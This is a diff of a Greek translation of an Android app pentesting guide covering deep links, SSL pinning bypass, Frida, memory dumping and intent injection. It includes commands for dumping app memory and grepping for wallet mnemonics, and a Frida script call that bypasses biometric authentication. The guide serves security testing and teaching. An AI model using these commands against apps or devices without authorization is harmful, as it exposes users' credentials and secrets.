Μια υπηρεσία είναι βασικά κάτι που **μπορεί να λάβει δεδομένα**, **να τα επεξεργαστεί** και **να επιστρέψει** (ή όχι) μια απάντηση. Έτσι, εάν μια εφαρμογή εξάγει κάποιες υπηρεσίες, θα πρέπει να **ελέγξετε** τον **κώδικα** για να κατανοήσετε τι κάνει και να **δοκιμάσετε** το **δυναμικά** για να εξάγετε εμπιστευτικές πληροφορίες, παρακάμπτοντας μέτρα αυθεντικοποίησης...\
|
||||
Μια υπηρεσία είναι βασικά κάτι που **μπορεί να λάβει δεδομένα**, **να τα επεξεργαστεί** και **να επιστρέψει** (ή όχι) μια απάντηση. Έτσι, αν μια εφαρμογή εξάγει κάποιες υπηρεσίες, θα πρέπει να **ελέγξετε** τον **κώδικα** για να κατανοήσετε τι κάνει και να **δοκιμάσετε** το **δυναμικά** για να εξάγετε εμπιστευτικές πληροφορίες, παρακάμπτοντας μέτρα αυθεντικοποίησης...\
|
||||
[**Μάθετε πώς να εκμεταλλευτείτε τις Υπηρεσίες με το Drozer.**](drozer-tutorial/index.html#services)
|
||||
|
||||
### **Εκμετάλλευση Δέκτες Εκπομπών**
|
||||
@ -364,13 +364,13 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
[**Διαβάστε αυτό αν θέλετε να ανανεώσετε τι είναι ένας Δέκτης Εκπομπών.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Θυμηθείτε ότι οι ενέργειες ενός Δέκτη Εκπομπών ξεκινούν στη μέθοδο `onReceive`.
|
||||
|
||||
Ένας δέκτης εκπομπών θα περιμένει για έναν τύπο μηνύματος. Ανάλογα με το πώς ο δέκτης χειρίζεται το μήνυμα, θα μπορούσε να είναι ευάλωτος.\
|
||||
Ένας δέκτης εκπομπών θα περιμένει για έναν τύπο μηνύματος. Ανάλογα με το πώς ο δέκτης χειρίζεται το μήνυμα, μπορεί να είναι ευάλωτος.\
|
||||
[**Μάθετε πώς να εκμεταλλευτείτε τους Δέκτες Εκπομπών με το Drozer.**](#exploiting-broadcast-receivers)
|
||||
|
||||
### **Εκμετάλλευση Σχημάτων / Deep links**
|
||||
|
||||
Μπορείτε να αναζητήσετε deep links χειροκίνητα, χρησιμοποιώντας εργαλεία όπως το MobSF ή σενάρια όπως [αυτό](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
|
||||
Μπορείτε να **ανοίξετε** ένα δηλωμένο **σχήμα** χρησιμοποιώντας **adb** ή έναν **περιηγητή**:
|
||||
Μπορείτε να **ανοίξετε** ένα δηλωμένο **σχήμα** χρησιμοποιώντας **adb** ή έναν **φυλλομετρητή**:
|
||||
```bash
|
||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||
```
|
||||
@ -389,42 +389,42 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το
|
||||
|
||||
**Ευαίσθητες πληροφορίες**
|
||||
|
||||
Κάθε φορά που βρίσκετε ένα deep link, ελέγξτε ότι **δεν λαμβάνει ευαίσθητα δεδομένα (όπως κωδικούς πρόσβασης) μέσω παραμέτρων URL**, γιατί οποιαδήποτε άλλη εφαρμογή θα μπορούσε **να προσποιηθεί το deep link και να κλέψει αυτά τα δεδομένα!**
|
||||
Κάθε φορά που βρίσκετε ένα deep link ελέγξτε ότι **δεν λαμβάνει ευαίσθητα δεδομένα (όπως κωδικούς πρόσβασης) μέσω παραμέτρων URL**, γιατί οποιαδήποτε άλλη εφαρμογή θα μπορούσε **να προσποιηθεί το deep link και να κλέψει αυτά τα δεδομένα!**
|
||||
|
||||
**Παράμετροι στη διαδρομή**
|
||||
|
||||
Πρέπει επίσης να **ελέγξετε αν κάποιο deep link χρησιμοποιεί μια παράμετρο μέσα στη διαδρομή** του URL όπως: `https://api.example.com/v1/users/{username}`, σε αυτή την περίπτωση μπορείτε να αναγκάσετε μια διαδρομή traversal αποκτώντας πρόσβαση σε κάτι όπως: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Σημειώστε ότι αν βρείτε τα σωστά endpoints μέσα στην εφαρμογή, μπορεί να είστε σε θέση να προκαλέσετε μια **Open Redirect** (αν μέρος της διαδρομής χρησιμοποιείται ως όνομα τομέα), **κατάληψη λογαριασμού** (αν μπορείτε να τροποποιήσετε λεπτομέρειες χρηστών χωρίς CSRF token και το ευάλωτο endpoint χρησιμοποίησε τη σωστή μέθοδο) και οποιαδήποτε άλλη ευπάθεια. Περισσότερες [πληροφορίες σχετικά με αυτό εδώ](http://dphoeniixx.com/2020/12/13-2/).
|
||||
Σημειώστε ότι αν βρείτε τα σωστά endpoints μέσα στην εφαρμογή μπορεί να είστε σε θέση να προκαλέσετε μια **Open Redirect** (αν μέρος της διαδρομής χρησιμοποιείται ως όνομα τομέα), **κατάληψη λογαριασμού** (αν μπορείτε να τροποποιήσετε λεπτομέρειες χρηστών χωρίς CSRF token και το ευάλωτο endpoint χρησιμοποίησε τη σωστή μέθοδο) και οποιαδήποτε άλλη ευπάθεια. Περισσότερες [πληροφορίες σχετικά με αυτό εδώ](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Περισσότερα παραδείγματα**
|
||||
|
||||
Ένα [ενδιαφέρον bug bounty report](https://hackerone.com/reports/855618) σχετικά με συνδέσμους (_/.well-known/assetlinks.json_).
|
||||
|
||||
### Αποτυχίες Επιθεώρησης και Επαλήθευσης Επίπεδου Μεταφοράς
|
||||
### Αποτυχίες Επιθεώρησης και Επαλήθευσης Στρώματος Μεταφοράς
|
||||
|
||||
- **Οι πιστοποιήσεις δεν ελέγχονται πάντα σωστά** από τις εφαρμογές Android. Είναι συνηθισμένο αυτές οι εφαρμογές να παραβλέπουν προειδοποιήσεις και να αποδέχονται αυτο-υπογεγραμμένες πιστοποιήσεις ή, σε ορισμένες περιπτώσεις, να επιστρέφουν στη χρήση συνδέσεων HTTP.
|
||||
- **Οι πιστοποιήσεις δεν ελέγχονται πάντα σωστά** από τις εφαρμογές Android. Είναι συνηθισμένο αυτές οι εφαρμογές να παραβλέπουν προειδοποιήσεις και να αποδέχονται αυτο-υπογεγραμμένες πιστοποιήσεις ή, σε ορισμένες περιπτώσεις, να επιστρέφουν στη χρήση HTTP συνδέσεων.
|
||||
- **Οι διαπραγματεύσεις κατά τη διάρκεια του SSL/TLS handshake είναι μερικές φορές αδύναμες**, χρησιμοποιώντας ανασφαλείς κρυπτογραφικές σουίτες. Αυτή η ευπάθεια καθιστά τη σύνδεση ευάλωτη σε επιθέσεις man-in-the-middle (MITM), επιτρέποντας στους επιτιθέμενους να αποκρυπτογραφήσουν τα δεδομένα.
|
||||
- **Διαρροή ιδιωτικών πληροφοριών** είναι ένας κίνδυνος όταν οι εφαρμογές πιστοποιούν χρησιμοποιώντας ασφαλείς διαύλους αλλά στη συνέχεια επικοινωνούν μέσω μη ασφαλών διαύλων για άλλες συναλλαγές. Αυτή η προσέγγιση αποτυγχάνει να προστατεύσει ευαίσθητα δεδομένα, όπως cookies συνεδρίας ή λεπτομέρειες χρηστών, από την παρεμβολή κακόβουλων οντοτήτων.
|
||||
- **Διαρροή ιδιωτικών πληροφοριών** είναι κίνδυνος όταν οι εφαρμογές πιστοποιούν χρησιμοποιώντας ασφαλείς διαύλους αλλά στη συνέχεια επικοινωνούν μέσω μη ασφαλών διαύλων για άλλες συναλλαγές. Αυτή η προσέγγιση αποτυγχάνει να προστατεύσει ευαίσθητα δεδομένα, όπως cookies συνεδρίας ή λεπτομέρειες χρηστών, από την παρεμβολή κακόβουλων οντοτήτων.
|
||||
|
||||
#### Επαλήθευση Πιστοποιητικού
|
||||
|
||||
Θα επικεντρωθούμε στην **επαλήθευση πιστοποιητικού**. Η ακεραιότητα του πιστοποιητικού του διακομιστή πρέπει να επαληθεύεται για να ενισχυθεί η ασφάλεια. Αυτό είναι κρίσιμο γιατί οι ανασφαλείς ρυθμίσεις TLS και η μετάδοση ευαίσθητων δεδομένων μέσω μη κρυπτογραφημένων καναλιών μπορεί να θέσουν σημαντικούς κινδύνους. Για λεπτομερείς οδηγίες σχετικά με την επαλήθευση πιστοποιητικών διακομιστή και την αντιμετώπιση ευπαθειών, [**αυτή η πηγή**](https://manifestsecurity.com/android-application-security-part-10/) παρέχει εκτενή καθοδήγηση.
|
||||
Θα επικεντρωθούμε στην **επαλήθευση πιστοποιητικού**. Η ακεραιότητα του πιστοποιητικού του διακομιστή πρέπει να επαληθεύεται για να ενισχυθεί η ασφάλεια. Αυτό είναι κρίσιμο γιατί οι ανασφαλείς ρυθμίσεις TLS και η μετάδοση ευαίσθητων δεδομένων μέσω μη κρυπτογραφημένων καναλιών μπορεί να θέσουν σε σημαντικό κίνδυνο. Για λεπτομερείς οδηγίες σχετικά με την επαλήθευση πιστοποιητικών διακομιστή και την αντιμετώπιση ευπαθειών, [**αυτή η πηγή**](https://manifestsecurity.com/android-application-security-part-10/) παρέχει εκτενή καθοδήγηση.
|
||||
|
||||
#### SSL Pinning
|
||||
|
||||
Το SSL Pinning είναι ένα μέτρο ασφαλείας όπου η εφαρμογή επαληθεύει το πιστοποιητικό του διακομιστή με μια γνωστή αντίγραφο που είναι αποθηκευμένο μέσα στην ίδια την εφαρμογή. Αυτή η μέθοδος είναι απαραίτητη για την αποτροπή επιθέσεων MITM. Συνιστάται έντονα η εφαρμογή SSL Pinning για εφαρμογές που χειρίζονται ευαίσθητες πληροφορίες.
|
||||
Το SSL Pinning είναι ένα μέτρο ασφαλείας όπου η εφαρμογή επαληθεύει το πιστοποιητικό του διακομιστή με μια γνωστή αντίγραφο που είναι αποθηκευμένο μέσα στην ίδια την εφαρμογή. Αυτή η μέθοδος είναι απαραίτητη για την αποτροπή επιθέσεων MITM. Συνιστάται έντονα η εφαρμογή του SSL Pinning για εφαρμογές που χειρίζονται ευαίσθητες πληροφορίες.
|
||||
|
||||
#### Επιθεώρηση Κίνησης
|
||||
|
||||
Για να επιθεωρήσετε την κίνηση HTTP, είναι απαραίτητο να **εγκαταστήσετε το πιστοποιητικό του εργαλείου proxy** (π.χ., Burp). Χωρίς την εγκατάσταση αυτού του πιστοποιητικού, η κρυπτογραφημένη κίνηση μπορεί να μην είναι ορατή μέσω του proxy. Για οδηγίες σχετικά με την εγκατάσταση ενός προσαρμοσμένου πιστοποιητικού CA, [**κάντε κλικ εδώ**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
Οι εφαρμογές που στοχεύουν **API Level 24 και άνω** απαιτούν τροποποιήσεις στη ρύθμιση ασφαλείας δικτύου για να αποδεχτούν το πιστοποιητικό CA του proxy. Αυτό το βήμα είναι κρίσιμο για την επιθεώρηση κρυπτογραφημένης κίνησης. Για οδηγίες σχετικά με την τροποποίηση της ρύθμισης ασφαλείας δικτύου, [**ανατρέξτε σε αυτό το σεμινάριο**](make-apk-accept-ca-certificate.md).
|
||||
Οι εφαρμογές που στοχεύουν **API Level 24 και άνω** απαιτούν τροποποιήσεις στη Διαμόρφωση Ασφαλείας Δικτύου για να αποδεχτούν το πιστοποιητικό CA του proxy. Αυτό το βήμα είναι κρίσιμο για την επιθεώρηση κρυπτογραφημένης κίνησης. Για οδηγίες σχετικά με την τροποποίηση της Διαμόρφωσης Ασφαλείας Δικτύου, [**ανατρέξτε σε αυτό το σεμινάριο**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
Αν χρησιμοποιείται **Flutter**, πρέπει να ακολουθήσετε τις οδηγίες σε [**αυτή τη σελίδα**](flutter.md). Αυτό συμβαίνει γιατί, απλά προσθέτοντας το πιστοποιητικό στο κατάστημα δεν θα λειτουργήσει καθώς το Flutter έχει τη δική του λίστα έγκυρων CA.
|
||||
Αν χρησιμοποιείται **Flutter** πρέπει να ακολουθήσετε τις οδηγίες σε [**αυτή τη σελίδα**](flutter.md). Αυτό συμβαίνει γιατί, απλά προσθέτοντας το πιστοποιητικό στο κατάστημα δεν θα λειτουργήσει καθώς το Flutter έχει τη δική του λίστα έγκυρων CA.
|
||||
|
||||
#### Παράκαμψη SSL Pinning
|
||||
|
||||
Όταν έχει εφαρμοστεί το SSL Pinning, η παράκαμψή του γίνεται απαραίτητη για την επιθεώρηση της κίνησης HTTPS. Διατίθενται διάφορες μέθοδοι για αυτόν τον σκοπό:
|
||||
Όταν έχει εφαρμοστεί το SSL Pinning, η παράκαμψή του γίνεται απαραίτητη για την επιθεώρηση της κίνησης HTTPS. Διατίθενται διάφορες μέθοδοι για αυτό το σκοπό:
|
||||
|
||||
- Αυτόματα **τροποποιήστε** το **apk** για να **παράκαμψετε** το SSLPinning με [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Το καλύτερο πλεονέκτημα αυτής της επιλογής είναι ότι δεν θα χρειαστείτε root για να παρακάμψετε το SSL Pinning, αλλά θα χρειαστεί να διαγράψετε την εφαρμογή και να εγκαταστήσετε τη νέα, και αυτό δεν θα λειτουργήσει πάντα.
|
||||
- Μπορείτε να χρησιμοποιήσετε **Frida** (που συζητείται παρακάτω) για να παρακάμψετε αυτή την προστασία. Εδώ έχετε έναν οδηγό για τη χρήση Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
@ -439,18 +439,18 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re) είναι ένα εργαλείο δυναμικής οργάνωσης για προγραμματιστές, αναλυτές αντίστροφης μηχανικής και ερευνητές ασφαλείας.\
|
||||
**Μπορείτε να έχετε πρόσβαση σε εκτελούμενες εφαρμογές και να συνδέσετε μεθόδους σε πραγματικό χρόνο για να αλλάξετε τη συμπεριφορά, να αλλάξετε τιμές, να εξάγετε τιμές, να εκτελέσετε διαφορετικό κώδικα...**\
|
||||
Αν θέλετε να κάνετε pentest σε εφαρμογές Android, πρέπει να ξέρετε πώς να χρησιμοποιείτε το Frida.
|
||||
**Μπορείτε να αποκτήσετε πρόσβαση σε εκτελούμενες εφαρμογές και να συνδέσετε μεθόδους σε πραγματικό χρόνο για να αλλάξετε τη συμπεριφορά, να αλλάξετε τιμές, να εξάγετε τιμές, να εκτελέσετε διαφορετικό κώδικα...**\
|
||||
Αν θέλετε να κάνετε pentest σε εφαρμογές Android πρέπει να ξέρετε πώς να χρησιμοποιείτε το Frida.
|
||||
|
||||
- Μάθετε πώς να χρησιμοποιείτε το Frida: [**Frida tutorial**](frida-tutorial/index.html)
|
||||
- Μερικά "GUI" για ενέργειες με το Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Το Ojection είναι εξαιρετικό για την αυτοματοποίηση της χρήσης του Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Ojection είναι εξαιρετικό για την αυτοματοποίηση της χρήσης του Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Μπορείτε να βρείτε μερικά καταπληκτικά σενάρια Frida εδώ: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Προσπαθήστε να παρακάμψετε μηχανισμούς anti-debugging / anti-frida φορτώνοντας το Frida όπως αναφέρεται σε [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (εργαλείο [linjector](https://github.com/erfur/linjector-rs))
|
||||
- Προσπαθήστε να παρακάμψετε μηχανισμούς anti-debugging / anti-frida φορτώνοντας το Frida όπως υποδεικνύεται σε [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (εργαλείο [linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
### **Dump Memory - Fridump**
|
||||
|
||||
Ελέγξτε αν η εφαρμογή αποθηκεύει ευαίσθητες πληροφορίες μέσα στη μνήμη που δεν θα έπρεπε να αποθηκεύει, όπως κωδικούς πρόσβασης ή μνημονικά.
|
||||
Ελέγξτε αν η εφαρμογή αποθηκεύει ευαίσθητες πληροφορίες μέσα στη μνήμη που δεν θα έπρεπε να αποθηκεύει όπως κωδικούς πρόσβασης ή μνημονικά.
|
||||
|
||||
Χρησιμοποιώντας [**Fridump3**](https://github.com/rootbsd/fridump3) μπορείτε να κάνετε dump τη μνήμη της εφαρμογής με:
|
||||
```bash
|
||||
@ -467,7 +467,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
||||
```
|
||||
### **Ευαίσθητα δεδομένα στο Keystore**
|
||||
|
||||
Στο Android, το Keystore είναι το καλύτερο μέρος για να αποθηκεύσετε ευαίσθητα δεδομένα, ωστόσο, με αρκετά δικαιώματα είναι ακόμα **δυνατό να αποκτήσετε πρόσβαση σε αυτό**. Καθώς οι εφαρμογές τείνουν να αποθηκεύουν εδώ **ευαίσθητα δεδομένα σε καθαρό κείμενο**, οι δοκιμές διείσδυσης θα πρέπει να ελέγχουν γι' αυτό ως χρήστης root ή κάποιος με φυσική πρόσβαση στη συσκευή θα μπορούσε να είναι σε θέση να κλέψει αυτά τα δεδομένα.
|
||||
Στο Android, το Keystore είναι το καλύτερο μέρος για να αποθηκεύσετε ευαίσθητα δεδομένα, ωστόσο, με αρκετά δικαιώματα είναι ακόμα **δυνατό να αποκτήσετε πρόσβαση σε αυτό**. Καθώς οι εφαρμογές τείνουν να αποθηκεύουν εδώ **ευαίσθητα δεδομένα σε καθαρό κείμενο**, οι pentests θα πρέπει να ελέγχουν γι' αυτό ως χρήστης root ή κάποιος με φυσική πρόσβαση στη συσκευή θα μπορούσε να είναι σε θέση να κλέψει αυτά τα δεδομένα.
|
||||
|
||||
Ακόμα και αν μια εφαρμογή αποθηκεύει δεδομένα στο keystore, τα δεδομένα θα πρέπει να είναι κρυπτογραφημένα.
|
||||
|
||||
@ -475,7 +475,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
||||
```bash
|
||||
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
### **Παράκαμψη Δακτυλικών Αποτυπωμάτων/Βιομετρικών**
|
||||
### **Fingerprint/Biometrics Bypass**
|
||||
|
||||
Χρησιμοποιώντας το παρακάτω σενάριο Frida, θα μπορούσε να είναι δυνατό να **παρακαμφθεί η αυθεντικοποίηση δακτυλικών αποτυπωμάτων** που ενδέχεται να εκτελούν οι εφαρμογές Android προκειμένου να **προστατεύσουν ορισμένες ευαίσθητες περιοχές:**
|
||||
```bash
|
||||
@ -483,13 +483,13 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
||||
```
|
||||
### **Εικόνες Φόντου**
|
||||
|
||||
Όταν βάζετε μια εφαρμογή σε φόντο, το Android αποθηκεύει μια **στιγμιότυπο της εφαρμογής** έτσι ώστε όταν ανακτηθεί στο προσκήνιο να αρχίσει να φορτώνει την εικόνα πριν από την εφαρμογή, ώστε να φαίνεται ότι η εφαρμογή φορτώθηκε πιο γρήγορα.
|
||||
Όταν βάζετε μια εφαρμογή στο παρασκήνιο, το Android αποθηκεύει μια **στιγμιότυπο της εφαρμογής** έτσι ώστε όταν ανακτηθεί στο προσκήνιο να αρχίσει να φορτώνει την εικόνα πριν από την εφαρμογή, ώστε να φαίνεται ότι η εφαρμογή φορτώθηκε πιο γρήγορα.
|
||||
|
||||
Ωστόσο, αν αυτό το στιγμιότυπο περιέχει **ευαίσθητες πληροφορίες**, κάποιος με πρόσβαση στο στιγμιότυπο μπορεί να **κλέψει αυτές τις πληροφορίες** (σημειώστε ότι χρειάζεστε root για να έχετε πρόσβαση σε αυτό).
|
||||
|
||||
Τα στιγμιότυπα συνήθως αποθηκεύονται γύρω από: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Το Android παρέχει έναν τρόπο να **αποτρέψει την καταγραφή στιγμιότυπων οθόνης ρυθμίζοντας την παράμετρο διάταξης FLAG_SECURE**. Χρησιμοποιώντας αυτή τη σημαία, το περιεχόμενο του παραθύρου θεωρείται ασφαλές, αποτρέποντας την εμφάνιση σε στιγμιότυπα οθόνης ή την προβολή σε μη ασφαλείς οθόνες.
|
||||
Το Android παρέχει έναν τρόπο να **αποτρέψει τη λήψη στιγμιότυπων οθόνης ρυθμίζοντας την παράμετρο διάταξης FLAG_SECURE**. Χρησιμοποιώντας αυτή τη σημαία, το περιεχόμενο του παραθύρου θεωρείται ασφαλές, αποτρέποντας την εμφάνιση σε στιγμιότυπα οθόνης ή την προβολή σε μη ασφαλείς οθόνες.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
@ -501,13 +501,13 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
|
||||
Οι προγραμματιστές συχνά δημιουργούν proxy components όπως activities, services και broadcast receivers που χειρίζονται αυτά τα Intents και τα περνούν σε μεθόδους όπως `startActivity(...)` ή `sendBroadcast(...)`, οι οποίες μπορεί να είναι επικίνδυνες.
|
||||
|
||||
Ο κίνδυνος έγκειται στην επιτρεπτικότητα στους επιτιθέμενους να ενεργοποιούν μη εξαγόμενα components εφαρμογών ή να έχουν πρόσβαση σε ευαίσθητους content providers παραπλανώντας αυτά τα Intents. Ένα αξιοσημείωτο παράδειγμα είναι το component `WebView` που μετατρέπει URLs σε αντικείμενα `Intent` μέσω `Intent.parseUri(...)` και στη συνέχεια τα εκτελεί, ενδεχομένως οδηγώντας σε κακόβουλες εισαγωγές Intent.
|
||||
Ο κίνδυνος έγκειται στην επιτρεπτικότητα στους επιτιθέμενους να ενεργοποιούν μη εξαγώγιμα components εφαρμογών ή να έχουν πρόσβαση σε ευαίσθητους content providers παραπλανώντας αυτά τα Intents. Ένα αξιοσημείωτο παράδειγμα είναι το component `WebView` που μετατρέπει URLs σε αντικείμενα `Intent` μέσω `Intent.parseUri(...)` και στη συνέχεια τα εκτελεί, ενδεχομένως οδηγώντας σε κακόβουλες εισαγωγές Intent.
|
||||
|
||||
### Σημαντικά Σημεία
|
||||
|
||||
- **Εισαγωγή Intent** είναι παρόμοια με το πρόβλημα Open Redirect του ιστού.
|
||||
- Οι εκμεταλλεύσεις περιλαμβάνουν την παράδοση αντικειμένων `Intent` ως extras, τα οποία μπορούν να ανακατευθυνθούν για να εκτελέσουν μη ασφαλείς λειτουργίες.
|
||||
- Μπορεί να εκθέσει μη εξαγόμενα components και content providers στους επιτιθέμενους.
|
||||
- Μπορεί να εκθέσει μη εξαγώγιμα components και content providers στους επιτιθέμενους.
|
||||
- Η μετατροπή URL σε `Intent` του `WebView` μπορεί να διευκολύνει ακούσιες ενέργειες.
|
||||
|
||||
### Εισαγωγές Πελάτη Android και άλλες
|
||||
@ -515,7 +515,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
Πιθανώς γνωρίζετε για αυτούς τους τύπους ευπαθειών από τον Ιστό. Πρέπει να είστε ιδιαίτερα προσεκτικοί με αυτές τις ευπάθειες σε μια εφαρμογή Android:
|
||||
|
||||
- **SQL Injection:** Όταν ασχολείστε με δυναμικά queries ή Content-Providers, βεβαιωθείτε ότι χρησιμοποιείτε παραμετροποιημένα queries.
|
||||
- **JavaScript Injection (XSS):** Επαληθεύστε ότι η υποστήριξη JavaScript και Plugin είναι απενεργοποιημένη για οποιαδήποτε WebViews (απενεργοποιημένη από προεπιλογή). [Περισσότερες πληροφορίες εδώ](webview-attacks.md#javascript-enabled).
|
||||
- **JavaScript Injection (XSS):** Ελέγξτε ότι η υποστήριξη JavaScript και Plugin είναι απενεργοποιημένη για οποιαδήποτε WebViews (απενεργοποιημένη από προεπιλογή). [Περισσότερες πληροφορίες εδώ](webview-attacks.md#javascript-enabled).
|
||||
- **Τοπική Συμπερίληψη Αρχείων:** Οι WebViews θα πρέπει να έχουν απενεργοποιημένη την πρόσβαση στο σύστημα αρχείων (ενεργοποιημένη από προεπιλογή) - `(webview.getSettings().setAllowFileAccess(false);)`. [Περισσότερες πληροφορίες εδώ](webview-attacks.md#javascript-enabled).
|
||||
- **Διαρκή cookies**: Σε πολλές περιπτώσεις, όταν η εφαρμογή android ολοκληρώνει τη συνεδρία, το cookie δεν ανακαλείται ή μπορεί ακόμη και να αποθηκευτεί στον δίσκο.
|
||||
- [**Secure Flag** στα cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
@ -538,7 +538,7 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
Παρατηρήστε ότι το MobSF μπορεί να αναλύσει **Android**(apk)**, IOS**(ipa) **και Windows**(apx) εφαρμογές (_Οι εφαρμογές Windows πρέπει να αναλύονται από ένα MobSF εγκατεστημένο σε έναν υπολογιστή Windows_).\
|
||||
Επίσης, αν δημιουργήσετε ένα **ZIP** αρχείο με τον πηγαίο κώδικα μιας **Android** ή **IOS** εφαρμογής (πηγαίνετε στον ριζικό φάκελο της εφαρμογής, επιλέξτε τα πάντα και δημιουργήστε ένα ZIP αρχείο), θα μπορέσει να το αναλύσει επίσης.
|
||||
|
||||
Το MobSF επιτρέπει επίσης την **diff/Compare** ανάλυση και την ενσωμάτωση του **VirusTotal** (θα χρειαστεί να ρυθμίσετε το API key σας στο _MobSF/settings.py_ και να το ενεργοποιήσετε: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Μπορείτε επίσης να ρυθμίσετε το `VT_UPLOAD` σε `False`, τότε το **hash** θα **ανεβεί** αντί για το αρχείο.
|
||||
Το MobSF επιτρέπει επίσης να κάνετε **diff/Compare** ανάλυση και να ενσωματώσετε το **VirusTotal** (θα χρειαστεί να ρυθμίσετε το API key σας στο _MobSF/settings.py_ και να το ενεργοποιήσετε: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Μπορείτε επίσης να ρυθμίσετε το `VT_UPLOAD` σε `False`, τότε το **hash** θα **ανεβεί** αντί για το αρχείο.
|
||||
|
||||
### Βοηθητική Δυναμική ανάλυση με το MobSF
|
||||
|
||||
@ -549,15 +549,15 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
- Capture **HTTPS traffic**
|
||||
- Use **Frida** to obtain **runtime** **information**
|
||||
|
||||
Από τις εκδόσεις Android **> 5**, θα **ξεκινήσει αυτόματα το Frida** και θα ρυθμίσει τις παγκόσμιες ρυθμίσεις **proxy** για να **καταγράψει** την κίνηση. Θα καταγράψει μόνο την κίνηση από την εφαρμογή που δοκιμάζεται.
|
||||
Από τις εκδόσεις Android **> 5**, θα **ξεκινήσει αυτόματα το Frida** και θα ρυθμίσει τις παγκόσμιες ρυθμίσεις **proxy** για να **συλλάβει** την κίνηση. Θα συλλάβει μόνο την κίνηση από την εφαρμογή που δοκιμάζεται.
|
||||
|
||||
**Frida**
|
||||
|
||||
Από προεπιλογή, θα χρησιμοποιήσει επίσης κάποια Frida Scripts για να **παρακάμψει το SSL pinning**, **ανίχνευση root** και **ανίχνευση debugger** και για να **παρακολουθήσει ενδιαφέροντα APIs**.\
|
||||
Το MobSF μπορεί επίσης να **καλέσει εξαγόμενες δραστηριότητες**, να τραβήξει **screenshots** από αυτές και να τις **αποθηκεύσει** για την αναφορά.
|
||||
|
||||
Για να **ξεκινήσετε** τη δυναμική δοκιμή πατήστε το πράσινο κουμπί: "**Start Instrumentation**". Πατήστε το "**Frida Live Logs**" για να δείτε τα logs που δημιουργούνται από τα Frida scripts και "**Live API Monitor**" για να δείτε όλες τις κλήσεις σε συνδεδεμένες μεθόδους, τα ορίσματα που περνιούνται και τις επιστρεφόμενες τιμές (αυτό θα εμφανιστεί μετά την πίεση του "Start Instrumentation").\
|
||||
Το MobSF επιτρέπει επίσης να φορτώσετε τα δικά σας **Frida scripts** (για να στείλετε τα αποτελέσματα των scripts σας στο MobSF χρησιμοποιήστε τη λειτουργία `send()`). Έχει επίσης **πολλά προ-γραμμένα scripts** που μπορείτε να φορτώσετε (μπορείτε να προσθέσετε περισσότερα στο `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), απλά **επιλέξτε τα**, πατήστε "**Load**" και πατήστε "**Start Instrumentation**" (θα μπορείτε να δείτε τα logs αυτών των scripts μέσα στο "**Frida Live Logs**").
|
||||
Για να **ξεκινήσετε** τη δυναμική δοκιμή πατήστε το πράσινο κουμπί: "**Start Instrumentation**". Πατήστε το "**Frida Live Logs**" για να δείτε τα logs που δημιουργούνται από τα Frida scripts και το "**Live API Monitor**" για να δείτε όλες τις κλήσεις σε συνδεδεμένες μεθόδους, τα ορίσματα που περνιούνται και τις επιστρεφόμενες τιμές (αυτό θα εμφανιστεί μετά την πίεση του "Start Instrumentation").\
|
||||
